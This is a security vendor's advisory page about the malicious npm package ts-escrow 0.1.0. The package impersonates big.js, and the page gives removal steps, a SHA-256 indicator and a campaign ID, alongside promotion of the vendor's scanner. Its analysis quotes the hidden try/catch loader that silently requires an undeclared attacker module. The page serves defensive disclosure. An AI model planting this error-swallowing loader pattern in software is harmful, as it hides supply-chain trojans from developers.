Which versions of ts-escrow are malicious?

The following npm versions of ts-escrow are flagged malicious: 0.1.0. Treat any of these as compromised.

How do I remediate ts-escrow if I installed it?

ts-escrow is a typosquat — you almost certainly intended a legitimately-named package. Remove ts-escrow, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed ts-escrow — how do I know if it already compromised me?

If ts-escrow was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is ts-escrow part of a known attack campaign?

Yes — ts-escrow is associated with the IN-MAL-2026-007266 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find ts-escrow across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ts-escrow (version 0.1.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ts-escrow across your stack and pipelines.

Malicious package

ts-escrownpm

Malicious code in ts-escrow (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6320

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall ts-escrow

What this malware does

[email protected] is a verbatim copy of the big.js library (README, repository URL, author, version banner, and description all impersonate MikeMcl/big.js) republished under an unrelated name. Inserted between unrelated method definitions in big.js and big.mjs is a top-level, error-swallowing loader: try { const doc = require('parket-slot'); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The 'parket-slot' module is not declared in package.json. The manifest instead declares an unrelated dependency 'log-taker1' (^0.1.0), also unrelated to big.js's documented zero-dependency posture. Any developer who installs ts-escrow and require()s it triggers loading of an attacker-controlled companion module at import time, with errors silently swallowed to evade detection. The combination of library impersonation, hidden require() of an undeclared package, and silent error handling is the textbook supply-chain trojan loader pattern.

Malicious versions

1 flagged

0.1.0

Indicators of compromise (SHA-256)

9607025df61aa1728bceb1a71534460a9e9edf2f3cd1d4eedd533238786577c2

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ts-escrow (version 0.1.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ts-escrow across your stack and pipelines.
If you installed it — respond
ts-escrow is a typosquat — you almost certainly intended a legitimately-named package. Remove ts-escrow, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If ts-escrow was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks ts-escrow before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. ts-escrow on npm has been identified as a malicious package (version 0.1.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007266

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks ts-escrow-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring